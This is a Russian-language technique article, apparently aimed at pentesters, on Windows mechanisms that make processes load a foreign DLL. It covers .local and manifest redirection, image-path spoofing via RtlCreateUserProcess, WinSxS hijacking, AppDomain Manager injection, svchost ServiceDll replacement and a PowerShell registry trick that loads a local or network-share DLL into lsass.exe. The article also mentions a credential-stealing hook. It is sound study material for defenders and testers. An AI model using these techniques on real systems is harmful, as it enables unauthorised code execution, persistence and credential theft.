Редирект со спуфингом. Ищем в Windows лазейки для исполнения стороннего кода
Внутри Windows кроется огромное количество интересных и неочевидных возможностей. В этой статье я покажу, как заставить операционку загрузить нашу библиотеку в любой процесс!
Одна из самых популярных атак, направленных на повышение привилегий, — это DLL Hijacking. Чтобы ее провести, атакующий помещает свою вредоносную библиотеку на пути поиска легитимной DLL. Это приводит к тому, что целевое приложение подгружает стороннюю либу и выполняет вредоносный код.
На первый взгляд такая атака кажется очень простой. Я бы даже сказал примитивной. Тем не менее, существует несколько подводных камней, которые часто упускают из вида атакующие.
Во‑первых, многие забывают сделать DLL Proxying до целевой библиотеки, что приводит к поломке всего приложения. Оно крашится, так как пытается вызвать функцию из библиотеки, в которой нужного кода нет.
Во‑вторых, иногда вызов функций вроде LoadLibrary()
, CreateProcess()
и CreateThread()
помещают в функцию DllMain()
, что приводит к дедлоку (Dead Lock) из‑за механизма Loader Lock. Loader Lock выступает в качестве критической секции (примитив синхронизации потоков процесса). Фактически выполнение потока программы блокируется до момента снятия Loader Lock.
WWW
Подробнее о Loader Lock — в блоге Elliot on Security: Perfect DLL Hijacking, What is Loader Lock.
В‑третьих, существуют некоторые факторы, влияющие на порядок поиска DLL. Стандартные пути поиска изображены ниже.
Это так называемый SafeDllSearchOrder
. Если он отключен, то после Application Directory
функция LoadLibrary*()
смотрит Current Directory
. Отключить SafeDllSearchMode
можно, выставив в ноль значение по этому пути:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
Еще один фактор, влияющий на поиск — это функция LoadLibraryEx()
, вызванная со значением LOAD_WITH_ALTERED_SEARCH_PATH
. В таком случае первым делом DLL ищутся по пути, указанному внутри этой функции.
Помимо прочего существуют встроенные механизмы Windows, которые позволяют внедрить нашу библиотеку в целевой процесс. В документации Microsoft есть упоминание некоторых из них. Давай изучим их подробнее.
DLL REDIRECTION
Для обычных исполняемых файлов
DLL Redirection — специальный механизм, позволяющий программам использовать разные версии DLL для своих задач, причем не затрагивая обычные системные библиотеки. Действие распространяется только на функции LoadLibrary*()
.
Фактически, независимо от того, указан ли в ней полный путь (C:\Windows\System32\dll.dll
) или короткий (dll.dll
), функция проверит, присутствует ли в текущей директории (в которой находится приложение, которое вызвало эту функцию) файл с расширением .local. И если присутствует, то функция LoadLibrary*()
в любом случае загрузит в первую очередь DLL из текущей директории приложения.
Название файла .local должно быть таким же, как и название процесса, из которого вызвана функция LoadLibrary()
. Например, если приложение — Editor.exe
, то имя файла должно быть Editor.exe.local
.
Представим, что этот самый C:\myapp\Editor.exe
попытается через LoadLibrary*()
загрузить какую‑нибудь либу. Например, такую:
C:\Program Files\Common Files\System\mydll.dll
Тогда LoadLibrary*()
проверит существование файла Editor.exe.local
в директории, где лежит Editor.exe
. Если файл .local найдется, то функция попытается сначала загрузить mydll.dll
из текущей директории.
То есть сначала проверяется этот путь:
И если такого файла нет, то загрузится по указанному полному пути:
C:\Program Files\Common Files\System\mydll.dll
Самое интересное: мы можем создать не только файл Editor.exe.local
, но и папку с таким названием, потому что содержимое файла .local не проверяется. В таком случае DLL будет подгружена по следующему пути:
C:\myapp\myapp.exe.local\mydll.dll
Итак, приступим к написанию PoC. Во‑первых, нам нужно целевое приложение, которое будет подгружать библиотеку с указанием полного пути.
Назовем это приложение Article.exe
.
#include <Windows.h>#include <iostream>int main() { LoadLibraryW(L"C:\\Users\\Michael\\Desktop\\Redir.dll"); char a; std::cin >> a; return 0;}
В качестве легитимной библиотеки скомпилируем следующий код и назовем Redir.dll
.
#include "pch.h"BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL, L"HI FROM LEGIT", L"HI FROM LEGIT", MB_OK); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
После компиляции перенесем в папку C:\Users\Michael\Desktop
библиотеку Redir.dll
. Проверим, что она успешно запускается и выполняется.
Теперь изменим код Redir.dll
на следующий.
#include "pch.h"BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL, L"HI FROM FAKE", L"HI FROM FAKE", MB_OK); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
Скомпилируем его и создадим в папке с Article.exe
файл Article.exe.local
.
Теперь запустим исполняемый файл и убедимся, что библиотека действительно загружается из текущей директории приложения, а не по полному пути.
Если удалить файл .local, то вновь будет загружаться нужная библиотека.
Сборки .NET
Для сборок .NET все чуточку проще. Нам нужно создать файл .manifest
, либо отредактировать существующий, добавив в него зависимость от конкретной библиотеки. Вот пример конфигурационного файла.
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentityversion="6.0.0.0"processorArchitecture="x86"name="redirector"type="win32"/><description>DLL Redirection</description><dependency><dependentAssembly><assemblyIdentitytype="win32"name="Microsoft.Windows.Common-Controls"version="6.0.0.0"processorArchitecture="X86"publicKeyToken="6595b64144ccf1df"language="*"/></dependentAssembly></dependency> <file name="user32.dll" /></assembly>
В данном случае мы с помощью атрибута name
указываем, что целевая сборка зависит от user32.dll
. После чего файл нужно сохранить с названием program.exe.manifest
, где program.exe
— имя приложения, в которое должна подгрузиться библиотека.
Это приведет к тому, что user32.dll
будет подгружаться из той директории, откуда запускается приложение.
IMAGE PATH NAME SPOOFING
Теория
Атака заключается в том, что мы можем использовать функции Rtl*
и обмануть приложение, заставив его думать, что оно запускается из другой директории. Образно, приложение лежит в C:\Windows\System32\abc.exe
, а мы скажем, что в C:\Users\abc.exe
. Как следствие, abc.exe
будет грузить библиотеки из C:\Users
.
Все основано на функциях RtlCreateProcessParametersEx()
и RtlCreateUserProcess()
. Windows (а также платформа CLR) будет искать библиотеки (либо сборки .NET, в случае CLR) по пути, указанном в элементе ImagePathName
структуры RTL_USER_PROCESS_PARAMETERS
. Эту структуру генерирует функция RtlCreateProcessParametersEx()
. Запущенный процесс в свою очередь будет парсить эту структуру и извлечет из нее ImagePathName
. И, как следствие, раскроет текущую директорию, которая в действительности спуфнута.
Реализация
Функция RtlCreateProcessParametersEx()
выглядит вот так.
typedef NTSTATUS (NTAPI *_RtlCreateProcessParametersEx)( _Out_ PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, _In_ PUNICODE_STRING ImagePathName, _In_opt_ PUNICODE_STRING DllPath, _In_opt_ PUNICODE_STRING CurrentDirectory, _In_opt_ PUNICODE_STRING CommandLine, _In_opt_ PVOID Environment, _In_opt_ PUNICODE_STRING WindowTitle, _In_opt_ PUNICODE_STRING DesktopInfo, _In_opt_ PUNICODE_STRING ShellInfo, _In_opt_ PUNICODE_STRING RuntimeData, _In_ ULONG Flags);
Собственно, эта функция заполняет структуру RTL_USER_PROCESS_PARAMETERS
.
typedef struct _RTL_USER_PROCESS_PARAMETERS{ ULONG MaximumLength; ULONG Length; ULONG Flags; ULONG DebugFlags; HANDLE ConsoleHandle; ULONG ConsoleFlags; HANDLE StandardInput; HANDLE StandardOutput; HANDLE StandardError; CURDIR CurrentDirectory; UNICODE_STRING DllPath; UNICODE_STRING ImagePathName; // Вот это будем спуфать UNICODE_STRING CommandLine; PVOID Environment; ULONG StartingX; ULONG StartingY; ULONG CountX; ULONG CountY; ULONG CountCharsX; ULONG CountCharsY; ULONG FillAttribute; ULONG WindowFlags; ULONG ShowWindowFlags; UNICODE_STRING WindowTitle; UNICODE_STRING DesktopInfo; UNICODE_STRING ShellInfo; UNICODE_STRING RuntimeData; RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; ULONG EnvironmentSize; ULONG EnvironmentVersion; PVOID PackageDependencyData; ULONG ProcessGroupId;} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
Именно эта структура будет передаваться в функцию RtlCreateUserProcess()
.
typedef NTSTATUS (NTAPI *_RtlCreateUserProcess)( _In_ PUNICODE_STRING NtImagePathName, _In_ ULONG AttributesDeprecated, _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters, _In_opt_ PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, _In_opt_ HANDLE ParentProcess, _In_ BOOLEAN InheritHandles, _In_opt_ HANDLE DebugPort, _In_opt_ HANDLE TokenHandle, _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation);
Эта атака не сработает, если приложение подгружает целевую библиотеку с указанием полного пути. Я пытался совместить эту атаку с DLL Redirection с созданием файла .local, но безуспешно.
Вернемся к нашему эксперименту. Чуть‑чуть поправим файл Article.exe
, чтобы он загружал библиотеку без указания полного пути.
#include <Windows.h>#include <iostream>int main() { LoadLibraryW(L"Redir.dll"); char a; std::cin >> a; return 0;}
В соответствии с порядком поиска DLL Windows в первую очередь будет пытаться найти Redir.dll
в текущей директории приложения. Здесь‑то мы его и поймаем!
Убедимся в работоспособности приложения.
Теперь удаляем Article.exe
из папки с фейковой DLL и начинаем писать загрузчик. Назовем его PathSpoof.exe
.
Я не смог найти ссылку на gists, но этот код я когда‑то стащил у уважаемого snovvcrash. Предлагаю только несколько поправить исходник, изменив с учетом наших целей.
UNICODE_STRING spoofedImagePathName;spoofedImagePathName.pBuffer = (PWSTR)L"\\??\\A:\\SSD\\ProjectsVS\\Article\\x64\\Debug\\Article.exe"; //Где реально должно запуститься приложениеfor (spoofedImagePathName.Length = 0; spoofedImagePathName.pBuffer[spoofedImagePathName.Length]; spoofedImagePathName.Length++);spoofedImagePathName.Length = spoofedImagePathName.Length * sizeof(WCHAR);spoofedImagePathName.MaximumLength = spoofedImagePathName.Length + sizeof(UNICODE_NULL);UNICODE_STRING currentDirectory;currentDirectory.pBuffer = (PWSTR)L"C:\\Windows\\System32\";for (currentDirectory.Length = 0; currentDirectory.pBuffer[currentDirectory.Length]; currentDirectory.Length++);currentDirectory.Length = currentDirectory.Length * sizeof(WCHAR);currentDirectory.MaximumLength = currentDirectory.Length + sizeof(UNICODE_NULL);UNICODE_STRING commandLine;commandLine.pBuffer = (PWSTR)L"C:\\Windows\\System32\";for (commandLine.Length = 0; commandLine.pBuffer[commandLine.Length]; commandLine.Length++);commandLine.Length = commandLine.Length * sizeof(WCHAR);commandLine.MaximumLength = commandLine.Length + sizeof(UNICODE_NULL);UNICODE_STRING imagePathName;imagePathName.pBuffer = (PWSTR)L"\\??\\C:\\Users\\Michael\\Desktop\\Article.exe"; // Путь к приложению, которое должно быть спуфнутоfor (imagePathName.Length = 0; imagePathName.pBuffer[imagePathName.Length]; imagePathName.Length++);imagePathName.Length = imagePathName.Length * sizeof(WCHAR);imagePathName.MaximumLength = imagePathName.Length + sizeof(UNICODE_NULL);
Полный код представлен в моем репозитории.
Запускаем PathSpoof.exe
и видим успешную подгрузку библиотеки.
WINSXS
Механизм WinSxS (Windows Side By Side) служит для хранения разных версий важных системных файлов. После обновления Windows в папку C:\Windows\WinSxS
падают прошлые версии всяких программных компонентов. Это позволяет в случае сбоя откатиться назад и вернуть систему к жизни.
Исследователи из SecurityJoes обнаружили, что в папку WinSxS попадают ехе‑приложения, уязвимые к атаке DLL Hijacking. Дело в том, что порядок поиска библиотек у этих приложений следующий:
И именно на пятом шаге исследователи ловили приложения из WinSxS, пытающиеся подгрузить библиотеку из их текущей директории. Алгоритм обнаружения донельзя прост:
Если приложение уязвимо, то оно порыскает в папках из 1-4 шагов, а потом придет в C:\Users\<currentuser>\Desktop
, чтобы найти целевую библиотеку. Здесь‑то с помощью Process Monitor его и поймают!
В ходе ресерча нашлось множество уязвимых приложений.
Ты можешь и сам искать подобные дырки, используя тот же Process Monitor или DLLHSC.
К слову, в ходе одного из проектов по пентесту мне удалось подобным образом проэксплуатировать WinSxS, но там сработало несколько условий:
- целевое приложение было сборкой .NET;
- нужно было реализовать MITRE T1574 Hijack Execution Flow.
Поэтому я прибегнул к тактике с AppDomain Manager Injection.
WWW
- AppDomain Manager Injection: New Techniques For Red Teams
- Let's turn Any .NET Application into an LOL Bin
- AppDomainManager Injection and Detection
Предположим, что целевое приложение называлось NetConfigLdr.exe
(название изменено, в моем случае был кастомный софт клиента), поэтому я создал файл NetConfigLdr.exe.config
, указав следующее содержимое.
<configuration> <runtime> <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1"> <probing privatePath="C:\Windows\WinSxS"/> </assemblyBinding> <appDomainManagerAssembly value="AppDomInject, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null" /> <appDomainManagerType value="MyAppDomainManager" /> </runtime></configuration>
Этот файл лежал рядом с NetConfigLdr.exe
, равно как и библиотека AppDomInject.dll
. Это позволило реализовать MITRE и проэксплуатировать файл из WinSxS.
Кстати, если ты еще не забыл про Image Path Name Spoofing, то AppDomain Injection получится совмещать с таким спуфингом. Это подробно описано в исследовании у Sektor7.
SVCHOST.EXE
Отдельно я хочу упомянуть инжект в svchost.exe
(то есть внедрение в любую службу). Сам по себе svchost.exe
— один из множества служебных процессов. Он может подгружать DLL-файл службы, взяв путь из записи реестра со значением ServiceDll
.
Например, для службы TermSrv
есть файл termsrv.dll
, он находится в %SystemRoot%\System32\
. Этот путь прописан внутри значения ServiceDll
вот здесь:
HKLM\System\CurrentControlSet\services\TermService\Parameters\
Так мы можем подменить саму DLL или значение в реестре, что приведет к подгрузке сторонней библиотеки при перезапуске службы.
LSASS DRIVER
Существует недокументированное значение реестра, в которое можно засунуть библиотеку, и она будет загружена в процесс lsass.exe
.
# powershellNew-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "c:\windows\system32\1.dll"# очисткаRemove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS" -Name "LsaDbExtPt" -ErrorAction Ignore | Out-Null# Можно даже указать удаленную либуNew-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "\\share\lulz\lsass_lib.dll"
Причем есть даже PoC, позволяющий хукнуть функцию SpAcceptCredentials()
и извлекать учетные данные пользователей.
ВЫВОДЫ
У Windows есть необычные возможности, которым иногда пользуются и атакующие. Конечно, порой проще нагло влезть в адресное пространство процесса, записать туда байты DLL-библиотеки и дернуть CreateRemoteThread()
, но это далеко не панацея. В конце концов, знаешь больше способов — крепче спишь (и быстрее закрываешь проекты)!